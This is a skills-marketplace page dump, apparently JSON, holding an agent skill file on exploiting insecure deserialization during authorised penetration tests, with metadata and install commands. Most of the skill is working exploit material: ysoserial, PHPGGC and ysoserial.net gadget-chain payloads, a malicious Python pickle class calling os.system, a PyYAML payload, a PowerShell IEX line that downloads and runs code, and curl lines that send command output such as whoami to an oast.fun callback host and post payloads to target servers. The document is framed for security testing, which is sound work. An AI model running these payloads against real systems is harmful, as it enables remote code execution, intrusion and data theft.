[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M732TMPDSA47NK51DCDE564A":3,"skill-same:01M732TMPDSA47NK51DCDE564A":89},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":16,"sourceHtmlUrl":17,"categories":18,"keywords":19,"publishedAt":20,"linkOnly":21,"markdownContent":22,"markdownBody":23,"frontMatter":24,"refName":49,"commitSha":50,"skillDirectory":51,"forksCount":52,"repositoryHtmlUrl":53,"repositoryHomepageUrl":54,"ownerHtmlUrl":55,"ownerBlogUrl":56,"ownerDescription":57,"updatedAt":58,"install":59,"resources":72},"01M732TMPDSA47NK51DCDE564A","exploiting-insecure-deserialization",null,"Identifying and exploiting insecure deserialization vulnerabilities in Java, PHP, Python, and .NET applications to achieve remote code execution during authorized penetration tests.","Horonomos-laps\u002FYana-AI","Horonomos-laps","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F355299122?v=4","01M76B3QPXE88ET2SQPDPVATZT"," Horonomos-laps","01M72ZQRJPCYPSSWT4D00VJR2A",13,"Apache-2.0","https:\u002F\u002Fgithub.com\u002Fyanacuti1121\u002FYana-AI\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fexploiting-insecure-deserialization\u002FLICENSE","https:\u002F\u002Fgithub.com\u002FHoronomos-laps\u002FYana-AI\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fexploiting-insecure-deserialization\u002FSKILL.md",[],[],"2026-11-11 15:11:14",false,"---\nname: exploiting-insecure-deserialization\ndescription: Identifying and exploiting insecure deserialization vulnerabilities in\n  Java, PHP, Python, and .NET applications to achieve remote code execution during\n  authorized penetration tests.\ndomain: cybersecurity\nsubdomain: web-application-security\ntags:\n- penetration-testing\n- deserialization\n- rce\n- owasp\n- web-security\n- ysoserial\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\nnist_csf:\n- PR.PS-01\n- ID.RA-01\n- PR.DS-10\n- DE.CM-01\nmitre_attack:\n- T1190\n- T1059.007\n- T1505.003\n- T1083\nsource: https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\nsource_commit: 04450304b12645cb2b974ab96d28c0664758a88d\nnote: \"Vendored verbatim from an external Apache-2.0 security-skill library, pinned by commit. Exceeds the internal 300-line skill guideline (agent-code-constraints.md) -- kept as-is because this is vendored reference material (forensics\u002Fthreat-intel procedure), not Yana AI-authored content, and trimming would damage technical accuracy.\"\n---\n\n# Exploiting Insecure Deserialization\n\n## When to Use\n\n- During authorized penetration tests when applications process serialized data (cookies, API parameters, message queues)\n- When identifying Java serialization markers (`ac ed 00 05` \u002F `rO0AB`) in HTTP traffic\n- For testing PHP applications that use `unserialize()` on user-controlled input\n- When evaluating .NET applications using `BinaryFormatter`, `ObjectStateFormatter`, or `ViewState`\n- During security assessments of applications using pickle (Python), Marshal (Ruby), or YAML deserialization\n\n## Prerequisites\n\n- **Authorization**: Written penetration testing agreement with RCE testing scope\n- **ysoserial**: Java deserialization exploit tool (`git clone https:\u002F\u002Fgithub.com\u002Ffrohoff\u002Fysoserial.git`)\n- **ysoserial.net**: .NET deserialization exploit tool (`git clone https:\u002F\u002Fgithub.com\u002Fpwntester\u002Fysoserial.net.git`)\n- **PHPGGC**: PHP deserialization gadget chain generator (`git clone https:\u002F\u002Fgithub.com\u002Fambionics\u002Fphpggc.git`)\n- **Burp Suite Professional**: With Java Deserialization Scanner extension\n- **Java Runtime**: For running ysoserial\n- **Collaborator\u002Finteractsh**: For out-of-band confirmation of code execution\n\n## Workflow\n\n### Step 1: Identify Serialized Data in Application Traffic\n\nDetect serialized objects in HTTP parameters, cookies, and headers.\n\n```bash\n# Java serialization markers\n# Binary: starts with 0xACED0005\n# Base64: starts with rO0AB\n# Gzip+Base64: starts with H4sIAAAAAAAA\n\n# Search Burp proxy history for serialization signatures\n# In Burp: Proxy > HTTP History > Search > \"rO0AB\"\n\n# Check cookies and parameters for Base64-encoded serialized data\necho \"rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA...\" | base64 -d | xxd | head\n\n# PHP serialization format\n# Looks like: O:4:\"User\":2:{s:4:\"name\";s:5:\"admin\";s:4:\"role\";s:4:\"user\";}\n# a:2:{i:0;s:5:\"hello\";i:1;s:5:\"world\";}\n\n# .NET ViewState\n# __VIEWSTATE parameter in ASP.NET forms\n# Starts with \u002FwEP... (base64)\n\n# Python pickle\n# Base64 encoded pickle objects in cookies or API parameters\n# Binary starts with 0x80 (protocol version)\n\n# Common locations to check:\n# - Session cookies\n# - Hidden form fields (__VIEWSTATE, __EVENTVALIDATION)\n# - API request\u002Fresponse bodies\n# - WebSocket messages\n# - Message queue payloads (JMS, RabbitMQ, Redis)\n# - Cache entries (Memcached, Redis)\n```\n\n### Step 2: Test Java Deserialization with ysoserial\n\nGenerate deserialization payloads for Java applications.\n\n```bash\n# List available gadget chains\njava -jar ysoserial.jar 2>&1 | grep -E \"^\\s+\\w\"\n\n# Generate DNS callback payload for detection (safest test)\njava -jar ysoserial.jar URLDNS \"http:\u002F\u002Fjava-deser.abc123.oast.fun\" | base64 -w0\n\n# Test with Burp Collaborator\n# Replace serialized cookie\u002Fparameter with generated payload\n# Check Collaborator for DNS\u002FHTTP callbacks\n\n# Generate RCE payloads with common gadget chains\n# CommonsCollections (very common in Java apps)\njava -jar ysoserial.jar CommonsCollections1 \"curl http:\u002F\u002Fabc123.oast.fun\u002Frce\" | base64 -w0\njava -jar ysoserial.jar CommonsCollections5 \"whoami\" | base64 -w0\njava -jar ysoserial.jar CommonsCollections6 \"id\" | base64 -w0\n\n# Spring Framework gadget\njava -jar ysoserial.jar Spring1 \"curl http:\u002F\u002Fabc123.oast.fun\u002Fspring\" | base64 -w0\n\n# Hibernate gadget\njava -jar ysoserial.jar Hibernate1 \"curl http:\u002F\u002Fabc123.oast.fun\u002Fhibernate\" | base64 -w0\n\n# Send payload via curl\nPAYLOAD=$(java -jar ysoserial.jar CommonsCollections5 \"curl http:\u002F\u002Fabc123.oast.fun\u002Fconfirm\" | base64 -w0)\ncurl -s -X POST \\\n  -b \"session=$PAYLOAD\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fdashboard\"\n```\n\n### Step 3: Test PHP Deserialization with PHPGGC\n\nGenerate PHP gadget chains for common frameworks.\n\n```bash\n# List available PHP gadget chains\n.\u002Fphpggc -l\n\n# Generate payloads for common PHP frameworks\n# Laravel RCE\n.\u002Fphpggc Laravel\u002FRCE1 system \"id\" -b\n.\u002Fphpggc Laravel\u002FRCE5 system \"whoami\" -b\n\n# Symfony RCE\n.\u002Fphpggc Symfony\u002FRCE4 exec \"curl http:\u002F\u002Fabc123.oast.fun\u002Fphp-rce\" -b\n\n# WordPress (via Guzzle)\n.\u002Fphpggc Guzzle\u002FRCE1 system \"id\" -b\n\n# Monolog RCE\n.\u002Fphpggc Monolog\u002FRCE1 system \"id\" -b\n\n# Test by injecting into cookie or parameter\nPAYLOAD=$(.\u002Fphpggc Laravel\u002FRCE1 system \"curl http:\u002F\u002Fabc123.oast.fun\u002Flaravel\" -b)\ncurl -s -b \"serialized_data=$PAYLOAD\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fdashboard\"\n\n# PHP object injection via manipulated serialized string\n# Original: O:4:\"User\":2:{s:4:\"name\";s:5:\"admin\";s:4:\"role\";s:4:\"user\";}\n# Modified: O:4:\"User\":2:{s:4:\"name\";s:5:\"admin\";s:4:\"role\";s:5:\"admin\";}\n\n# Test for type juggling with PHP unserialize\n# Change string to integer: s:4:\"role\" -> i:1\n```\n\n### Step 4: Test .NET Deserialization\n\nAssess ViewState and other .NET serialization vectors.\n\n```bash\n# Analyze .NET ViewState\n# Check if ViewState MAC is enabled\n# Unprotected ViewState starts with \u002FwE and can be decoded\n\n# Using ysoserial.net for .NET payloads\n# (Run on Windows or via Mono on Linux)\n.\u002Fysoserial.exe -g TypeConfuseDelegate -f ObjectStateFormatter \\\n  -c \"curl http:\u002F\u002Fabc123.oast.fun\u002Fdotnet-rce\" -o base64\n\n.\u002Fysoserial.exe -g TextFormattingRunProperties -f BinaryFormatter \\\n  -c \"whoami\" -o base64\n\n# Test ViewState deserialization\n# If __VIEWSTATEMAC is disabled or machine key is known:\n.\u002Fysoserial.exe -g ActivitySurrogateSelector -f ObjectStateFormatter \\\n  -c \"powershell -c IEX(curl http:\u002F\u002Fabc123.oast.fun\u002Fps)\" -o base64\n\n# Insert payload into __VIEWSTATE parameter and submit form\n\n# Check for .NET remoting endpoints\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fremoting\u002Fservice.rem\"\n\n# BinaryFormatter in API endpoints\n# Look for Content-Type: application\u002Foctet-stream\n# or application\u002Fx-msbin headers\n```\n\n### Step 5: Test Python Pickle Deserialization\n\nExploit pickle-based deserialization in Python applications.\n\n```python\n# Generate malicious pickle payload\nimport pickle\nimport base64\nimport os\n\nclass Exploit:\n    def __reduce__(self):\n        return (os.system, ('curl http:\u002F\u002Fabc123.oast.fun\u002Fpickle-rce',))\n\npayload = base64.b64encode(pickle.dumps(Exploit())).decode()\nprint(f\"Pickle payload: {payload}\")\n\n# Alternative: Use pickletools for analysis\nimport pickletools\npickletools.dis(pickle.dumps(Exploit()))\n```\n\n```bash\n# Send pickle payload\nPAYLOAD=$(python3 -c \"\nimport pickle, base64, os\nclass E:\n    def __reduce__(self):\n        return (os.system, ('curl http:\u002F\u002Fabc123.oast.fun\u002Fpickle',))\nprint(base64.b64encode(pickle.dumps(E())).decode())\n\")\n\ncurl -s -X POST \\\n  -H \"Content-Type: application\u002Foctet-stream\" \\\n  -d \"$PAYLOAD\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Fimport\"\n\n# Check for YAML deserialization (PyYAML)\n# Payload: !!python\u002Fobject\u002Fapply:os.system ['curl http:\u002F\u002Fabc123.oast.fun\u002Fyaml']\ncurl -s -X POST \\\n  -H \"Content-Type: application\u002Fx-yaml\" \\\n  -d \"!!python\u002Fobject\u002Fapply:os.system ['curl http:\u002F\u002Fabc123.oast.fun\u002Fyaml']\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Fconfig\"\n```\n\n### Step 6: Confirm Exploitation and Document Impact\n\nValidate successful deserialization attacks and document the impact chain.\n\n```bash\n# Confirm RCE with out-of-band callback\n# Check interactsh\u002FCollaborator for:\n# 1. DNS resolution of your callback domain\n# 2. HTTP request with command output\n# 3. Timing-based confirmation (sleep commands)\n\n# If blind, use timing-based confirmation\n# Java: Thread.sleep(10000)\njava -jar ysoserial.jar CommonsCollections5 \"sleep 10\" | base64 -w0\n# Measure if response takes ~10 seconds longer\n\n# Exfiltrate system info (authorized testing only)\njava -jar ysoserial.jar CommonsCollections5 \\\n  \"curl http:\u002F\u002Fabc123.oast.fun\u002F\\$(whoami)\" | base64 -w0\n\n# Document the gadget chain and affected library versions\n# Check target classpath for vulnerable libraries:\n# - commons-collections 3.x \u002F 4.0\n# - spring-core\n# - hibernate-core\n# - groovy\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| **Serialization** | Converting an object into a byte stream for storage or transmission |\n| **Deserialization** | Reconstructing an object from a byte stream, potentially executing code |\n| **Gadget Chain** | A sequence of existing class methods chained together to achieve arbitrary code execution |\n| **Magic Methods** | Special methods called automatically during deserialization (`__wakeup`, `__destruct` in PHP, `readObject` in Java) |\n| **ViewState** | ASP.NET mechanism for persisting page state, often containing serialized objects |\n| **Pickle** | Python's native serialization format, inherently unsafe for untrusted data |\n| **URLDNS Gadget** | A Java gadget that triggers DNS lookup, useful for safe deserialization detection |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| **ysoserial** | Java deserialization payload generator with multiple gadget chains |\n| **ysoserial.net** | .NET deserialization payload generator |\n| **PHPGGC** | PHP Generic Gadget Chains for multiple frameworks |\n| **Burp Java Deserialization Scanner** | Automated detection of Java deserialization vulnerabilities |\n| **marshalsec** | Java unmarshaller exploitation for various libraries |\n| **Freddy (Burp Extension)** | Detects deserialization issues in multiple languages |\n\n## Common Scenarios\n\n### Scenario 1: Java Session Cookie RCE\nA Java application stores session data as serialized objects in cookies. The `rO0AB` prefix reveals Java serialization. Using ysoserial with CommonsCollections gadget chain achieves remote code execution.\n\n### Scenario 2: PHP Laravel Unserialize\nA Laravel application passes serialized data through a hidden form field. Using PHPGGC to generate a Laravel RCE gadget chain achieves command execution when the form is submitted.\n\n### Scenario 3: .NET ViewState Without MAC\nAn ASP.NET application has ViewState MAC validation disabled. Using ysoserial.net to generate a malicious ViewState payload achieves code execution when the page processes the modified ViewState.\n\n### Scenario 4: Python Pickle in Redis Cache\nA Python web application stores pickled objects in Redis for caching. By poisoning the cache with a malicious pickle payload, code execution is triggered when the application deserializes the cached object.\n\n## Output Format\n\n```\n## Insecure Deserialization Finding\n\n**Vulnerability**: Insecure Deserialization - Remote Code Execution\n**Severity**: Critical (CVSS 9.8)\n**Location**: Cookie `user_session` (Java serialized object)\n**OWASP Category**: A08:2021 - Software and Data Integrity Failures\n\n### Reproduction Steps\n1. Capture the `user_session` cookie value (starts with rO0AB)\n2. Generate payload: java -jar ysoserial.jar CommonsCollections5 \"id\"\n3. Base64 encode and replace the cookie value\n4. Send request; command executes on the server\n\n### Vulnerable Library\n- commons-collections 3.2.1 (CVE-2015-7501)\n- Java Runtime: OpenJDK 11.0.15\n\n### Confirmed Impact\n- Remote Code Execution as `tomcat` user\n- Server OS: Ubuntu 22.04 LTS\n- Internal network access confirmed via reverse shell\n- Database credentials accessible from application config\n\n### Recommendation\n1. Avoid deserializing untrusted data; use JSON or Protocol Buffers instead\n2. Upgrade commons-collections to 4.1+ (patched version)\n3. Implement deserialization filters (JEP 290 for Java 9+)\n4. Use allowlists for permitted classes during deserialization\n5. Implement integrity checks (HMAC) on serialized data before deserialization\n```\n","# Exploiting Insecure Deserialization\n\n## When to Use\n\n- During authorized penetration tests when applications process serialized data (cookies, API parameters, message queues)\n- When identifying Java serialization markers (`ac ed 00 05` \u002F `rO0AB`) in HTTP traffic\n- For testing PHP applications that use `unserialize()` on user-controlled input\n- When evaluating .NET applications using `BinaryFormatter`, `ObjectStateFormatter`, or `ViewState`\n- During security assessments of applications using pickle (Python), Marshal (Ruby), or YAML deserialization\n\n## Prerequisites\n\n- **Authorization**: Written penetration testing agreement with RCE testing scope\n- **ysoserial**: Java deserialization exploit tool (`git clone https:\u002F\u002Fgithub.com\u002Ffrohoff\u002Fysoserial.git`)\n- **ysoserial.net**: .NET deserialization exploit tool (`git clone https:\u002F\u002Fgithub.com\u002Fpwntester\u002Fysoserial.net.git`)\n- **PHPGGC**: PHP deserialization gadget chain generator (`git clone https:\u002F\u002Fgithub.com\u002Fambionics\u002Fphpggc.git`)\n- **Burp Suite Professional**: With Java Deserialization Scanner extension\n- **Java Runtime**: For running ysoserial\n- **Collaborator\u002Finteractsh**: For out-of-band confirmation of code execution\n\n## Workflow\n\n### Step 1: Identify Serialized Data in Application Traffic\n\nDetect serialized objects in HTTP parameters, cookies, and headers.\n\n```bash\n# Java serialization markers\n# Binary: starts with 0xACED0005\n# Base64: starts with rO0AB\n# Gzip+Base64: starts with H4sIAAAAAAAA\n\n# Search Burp proxy history for serialization signatures\n# In Burp: Proxy > HTTP History > Search > \"rO0AB\"\n\n# Check cookies and parameters for Base64-encoded serialized data\necho \"rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA...\" | base64 -d | xxd | head\n\n# PHP serialization format\n# Looks like: O:4:\"User\":2:{s:4:\"name\";s:5:\"admin\";s:4:\"role\";s:4:\"user\";}\n# a:2:{i:0;s:5:\"hello\";i:1;s:5:\"world\";}\n\n# .NET ViewState\n# __VIEWSTATE parameter in ASP.NET forms\n# Starts with \u002FwEP... (base64)\n\n# Python pickle\n# Base64 encoded pickle objects in cookies or API parameters\n# Binary starts with 0x80 (protocol version)\n\n# Common locations to check:\n# - Session cookies\n# - Hidden form fields (__VIEWSTATE, __EVENTVALIDATION)\n# - API request\u002Fresponse bodies\n# - WebSocket messages\n# - Message queue payloads (JMS, RabbitMQ, Redis)\n# - Cache entries (Memcached, Redis)\n```\n\n### Step 2: Test Java Deserialization with ysoserial\n\nGenerate deserialization payloads for Java applications.\n\n```bash\n# List available gadget chains\njava -jar ysoserial.jar 2>&1 | grep -E \"^\\s+\\w\"\n\n# Generate DNS callback payload for detection (safest test)\njava -jar ysoserial.jar URLDNS \"http:\u002F\u002Fjava-deser.abc123.oast.fun\" | base64 -w0\n\n# Test with Burp Collaborator\n# Replace serialized cookie\u002Fparameter with generated payload\n# Check Collaborator for DNS\u002FHTTP callbacks\n\n# Generate RCE payloads with common gadget chains\n# CommonsCollections (very common in Java apps)\njava -jar ysoserial.jar CommonsCollections1 \"curl http:\u002F\u002Fabc123.oast.fun\u002Frce\" | base64 -w0\njava -jar ysoserial.jar CommonsCollections5 \"whoami\" | base64 -w0\njava -jar ysoserial.jar CommonsCollections6 \"id\" | base64 -w0\n\n# Spring Framework gadget\njava -jar ysoserial.jar Spring1 \"curl http:\u002F\u002Fabc123.oast.fun\u002Fspring\" | base64 -w0\n\n# Hibernate gadget\njava -jar ysoserial.jar Hibernate1 \"curl http:\u002F\u002Fabc123.oast.fun\u002Fhibernate\" | base64 -w0\n\n# Send payload via curl\nPAYLOAD=$(java -jar ysoserial.jar CommonsCollections5 \"curl http:\u002F\u002Fabc123.oast.fun\u002Fconfirm\" | base64 -w0)\ncurl -s -X POST \\\n  -b \"session=$PAYLOAD\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fdashboard\"\n```\n\n### Step 3: Test PHP Deserialization with PHPGGC\n\nGenerate PHP gadget chains for common frameworks.\n\n```bash\n# List available PHP gadget chains\n.\u002Fphpggc -l\n\n# Generate payloads for common PHP frameworks\n# Laravel RCE\n.\u002Fphpggc Laravel\u002FRCE1 system \"id\" -b\n.\u002Fphpggc Laravel\u002FRCE5 system \"whoami\" -b\n\n# Symfony RCE\n.\u002Fphpggc Symfony\u002FRCE4 exec \"curl http:\u002F\u002Fabc123.oast.fun\u002Fphp-rce\" -b\n\n# WordPress (via Guzzle)\n.\u002Fphpggc Guzzle\u002FRCE1 system \"id\" -b\n\n# Monolog RCE\n.\u002Fphpggc Monolog\u002FRCE1 system \"id\" -b\n\n# Test by injecting into cookie or parameter\nPAYLOAD=$(.\u002Fphpggc Laravel\u002FRCE1 system \"curl http:\u002F\u002Fabc123.oast.fun\u002Flaravel\" -b)\ncurl -s -b \"serialized_data=$PAYLOAD\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fdashboard\"\n\n# PHP object injection via manipulated serialized string\n# Original: O:4:\"User\":2:{s:4:\"name\";s:5:\"admin\";s:4:\"role\";s:4:\"user\";}\n# Modified: O:4:\"User\":2:{s:4:\"name\";s:5:\"admin\";s:4:\"role\";s:5:\"admin\";}\n\n# Test for type juggling with PHP unserialize\n# Change string to integer: s:4:\"role\" -> i:1\n```\n\n### Step 4: Test .NET Deserialization\n\nAssess ViewState and other .NET serialization vectors.\n\n```bash\n# Analyze .NET ViewState\n# Check if ViewState MAC is enabled\n# Unprotected ViewState starts with \u002FwE and can be decoded\n\n# Using ysoserial.net for .NET payloads\n# (Run on Windows or via Mono on Linux)\n.\u002Fysoserial.exe -g TypeConfuseDelegate -f ObjectStateFormatter \\\n  -c \"curl http:\u002F\u002Fabc123.oast.fun\u002Fdotnet-rce\" -o base64\n\n.\u002Fysoserial.exe -g TextFormattingRunProperties -f BinaryFormatter \\\n  -c \"whoami\" -o base64\n\n# Test ViewState deserialization\n# If __VIEWSTATEMAC is disabled or machine key is known:\n.\u002Fysoserial.exe -g ActivitySurrogateSelector -f ObjectStateFormatter \\\n  -c \"powershell -c IEX(curl http:\u002F\u002Fabc123.oast.fun\u002Fps)\" -o base64\n\n# Insert payload into __VIEWSTATE parameter and submit form\n\n# Check for .NET remoting endpoints\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fremoting\u002Fservice.rem\"\n\n# BinaryFormatter in API endpoints\n# Look for Content-Type: application\u002Foctet-stream\n# or application\u002Fx-msbin headers\n```\n\n### Step 5: Test Python Pickle Deserialization\n\nExploit pickle-based deserialization in Python applications.\n\n```python\n# Generate malicious pickle payload\nimport pickle\nimport base64\nimport os\n\nclass Exploit:\n    def __reduce__(self):\n        return (os.system, ('curl http:\u002F\u002Fabc123.oast.fun\u002Fpickle-rce',))\n\npayload = base64.b64encode(pickle.dumps(Exploit())).decode()\nprint(f\"Pickle payload: {payload}\")\n\n# Alternative: Use pickletools for analysis\nimport pickletools\npickletools.dis(pickle.dumps(Exploit()))\n```\n\n```bash\n# Send pickle payload\nPAYLOAD=$(python3 -c \"\nimport pickle, base64, os\nclass E:\n    def __reduce__(self):\n        return (os.system, ('curl http:\u002F\u002Fabc123.oast.fun\u002Fpickle',))\nprint(base64.b64encode(pickle.dumps(E())).decode())\n\")\n\ncurl -s -X POST \\\n  -H \"Content-Type: application\u002Foctet-stream\" \\\n  -d \"$PAYLOAD\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Fimport\"\n\n# Check for YAML deserialization (PyYAML)\n# Payload: !!python\u002Fobject\u002Fapply:os.system ['curl http:\u002F\u002Fabc123.oast.fun\u002Fyaml']\ncurl -s -X POST \\\n  -H \"Content-Type: application\u002Fx-yaml\" \\\n  -d \"!!python\u002Fobject\u002Fapply:os.system ['curl http:\u002F\u002Fabc123.oast.fun\u002Fyaml']\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Fconfig\"\n```\n\n### Step 6: Confirm Exploitation and Document Impact\n\nValidate successful deserialization attacks and document the impact chain.\n\n```bash\n# Confirm RCE with out-of-band callback\n# Check interactsh\u002FCollaborator for:\n# 1. DNS resolution of your callback domain\n# 2. HTTP request with command output\n# 3. Timing-based confirmation (sleep commands)\n\n# If blind, use timing-based confirmation\n# Java: Thread.sleep(10000)\njava -jar ysoserial.jar CommonsCollections5 \"sleep 10\" | base64 -w0\n# Measure if response takes ~10 seconds longer\n\n# Exfiltrate system info (authorized testing only)\njava -jar ysoserial.jar CommonsCollections5 \\\n  \"curl http:\u002F\u002Fabc123.oast.fun\u002F\\$(whoami)\" | base64 -w0\n\n# Document the gadget chain and affected library versions\n# Check target classpath for vulnerable libraries:\n# - commons-collections 3.x \u002F 4.0\n# - spring-core\n# - hibernate-core\n# - groovy\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| **Serialization** | Converting an object into a byte stream for storage or transmission |\n| **Deserialization** | Reconstructing an object from a byte stream, potentially executing code |\n| **Gadget Chain** | A sequence of existing class methods chained together to achieve arbitrary code execution |\n| **Magic Methods** | Special methods called automatically during deserialization (`__wakeup`, `__destruct` in PHP, `readObject` in Java) |\n| **ViewState** | ASP.NET mechanism for persisting page state, often containing serialized objects |\n| **Pickle** | Python's native serialization format, inherently unsafe for untrusted data |\n| **URLDNS Gadget** | A Java gadget that triggers DNS lookup, useful for safe deserialization detection |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| **ysoserial** | Java deserialization payload generator with multiple gadget chains |\n| **ysoserial.net** | .NET deserialization payload generator |\n| **PHPGGC** | PHP Generic Gadget Chains for multiple frameworks |\n| **Burp Java Deserialization Scanner** | Automated detection of Java deserialization vulnerabilities |\n| **marshalsec** | Java unmarshaller exploitation for various libraries |\n| **Freddy (Burp Extension)** | Detects deserialization issues in multiple languages |\n\n## Common Scenarios\n\n### Scenario 1: Java Session Cookie RCE\nA Java application stores session data as serialized objects in cookies. The `rO0AB` prefix reveals Java serialization. Using ysoserial with CommonsCollections gadget chain achieves remote code execution.\n\n### Scenario 2: PHP Laravel Unserialize\nA Laravel application passes serialized data through a hidden form field. Using PHPGGC to generate a Laravel RCE gadget chain achieves command execution when the form is submitted.\n\n### Scenario 3: .NET ViewState Without MAC\nAn ASP.NET application has ViewState MAC validation disabled. Using ysoserial.net to generate a malicious ViewState payload achieves code execution when the page processes the modified ViewState.\n\n### Scenario 4: Python Pickle in Redis Cache\nA Python web application stores pickled objects in Redis for caching. By poisoning the cache with a malicious pickle payload, code execution is triggered when the application deserializes the cached object.\n\n## Output Format\n\n```\n## Insecure Deserialization Finding\n\n**Vulnerability**: Insecure Deserialization - Remote Code Execution\n**Severity**: Critical (CVSS 9.8)\n**Location**: Cookie `user_session` (Java serialized object)\n**OWASP Category**: A08:2021 - Software and Data Integrity Failures\n\n### Reproduction Steps\n1. Capture the `user_session` cookie value (starts with rO0AB)\n2. Generate payload: java -jar ysoserial.jar CommonsCollections5 \"id\"\n3. Base64 encode and replace the cookie value\n4. Send request; command executes on the server\n\n### Vulnerable Library\n- commons-collections 3.2.1 (CVE-2015-7501)\n- Java Runtime: OpenJDK 11.0.15\n\n### Confirmed Impact\n- Remote Code Execution as `tomcat` user\n- Server OS: Ubuntu 22.04 LTS\n- Internal network access confirmed via reverse shell\n- Database credentials accessible from application config\n\n### Recommendation\n1. Avoid deserializing untrusted data; use JSON or Protocol Buffers instead\n2. Upgrade commons-collections to 4.1+ (patched version)\n3. Implement deserialization filters (JEP 290 for Java 9+)\n4. Use allowlists for permitted classes during deserialization\n5. Implement integrity checks (HMAC) on serialized data before deserialization\n```\n",{"name":5,"note":25,"tags":26,"author":33,"domain":34,"source":35,"license":15,"version":36,"nist_csf":37,"subdomain":42,"description":7,"mitre_attack":43,"source_commit":48},"Vendored verbatim from an external Apache-2.0 security-skill library, pinned by commit. Exceeds the internal 300-line skill guideline (agent-code-constraints.md) -- kept as-is because this is vendored reference material (forensics\u002Fthreat-intel procedure), not Yana AI-authored content, and trimming would damage technical accuracy.",[27,28,29,30,31,32],"penetration-testing","deserialization","rce","owasp","web-security","ysoserial","mahipal","cybersecurity","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills","1.0",[38,39,40,41],"PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01","web-application-security",[44,45,46,47],"T1190","T1059.007","T1505.003","T1083","04450304b12645cb2b974ab96d28c0664758a88d","main","481dcd7dd2e288b9d627a2bd017db70e64e6c6fa",".claude\u002Fskills\u002Fexploiting-insecure-deserialization",2,"https:\u002F\u002Fgithub.com\u002FHoronomos-laps\u002FYana-AI","https:\u002F\u002Fyana.vutam.link\u002F","https:\u002F\u002Fgithub.com\u002FHoronomos-laps","https:\u002F\u002Fyana.vutam.link","An open-source governed runtime & execution environment for multi-agent AI systems.","2026-11-14 13:24:09",{"source":8,"skillName":5,"commands":60,"prompt":70,"zipAvailable":71},[61,64,67],{"tool":62,"command":63},"npx","npx skills add Horonomos-laps\u002FYana-AI --skill exploiting-insecure-deserialization",{"tool":65,"command":66},"bunx","bunx skills add Horonomos-laps\u002FYana-AI --skill exploiting-insecure-deserialization",{"tool":68,"command":69},"pnpm","pnpm dlx skills add Horonomos-laps\u002FYana-AI --skill exploiting-insecure-deserialization","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002FHoronomos-laps\u002FYana-AI\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fexploiting-insecure-deserialization\u002FSKILL.md",true,[73,77,83],{"path":74,"resourceType":74,"resourceTypeDesc":75,"sizeBytes":76,"sourceHtmlUrl":16},"LICENSE","许可证",11255,{"path":78,"resourceType":79,"resourceTypeDesc":80,"sizeBytes":81,"sourceHtmlUrl":82},"references\u002Fapi-reference.md","REFERENCE","参考文档",2009,"https:\u002F\u002Fgithub.com\u002Fyanacuti1121\u002FYana-AI\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fexploiting-insecure-deserialization\u002Freferences\u002Fapi-reference.md",{"path":84,"resourceType":85,"resourceTypeDesc":86,"sizeBytes":87,"sourceHtmlUrl":88},"scripts\u002Fagent.py","SCRIPT","脚本",6381,"https:\u002F\u002Fgithub.com\u002Fyanacuti1121\u002FYana-AI\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fexploiting-insecure-deserialization\u002Fscripts\u002Fagent.py",[90,98,105,113,121,129],{"skillNo":91,"name":92,"nameZh":6,"description":93,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":94,"licenseFileUrl":6,"sourceHtmlUrl":95,"categories":96,"keywords":97,"publishedAt":20},"01M735GKET5YVYKAY62W2P5YXB","openai--sentry--sentry","Use when the user asks to inspect Sentry issues or events, summarize recent production errors, or pull basic Sentry health data via the Sentry API; perform read-only queries with the bundled script and require `SENTRY_AUTH_TOKEN`.","MIT","https:\u002F\u002Fgithub.com\u002FHoronomos-laps\u002FYana-AI\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fopenai--sentry--sentry\u002FSKILL.md",[],[],{"skillNo":99,"name":100,"nameZh":6,"description":101,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":102,"categories":103,"keywords":104,"publishedAt":20},"01M73DCAP83T17HY7SMGK7MGFE","ito-basket-compare","Compare Itô prediction-market baskets against a user's knowledge base, portfolio notes, financial context, watchlist, or research thesis. Use for read-only basket comparison and gap analysis without investment advice or live 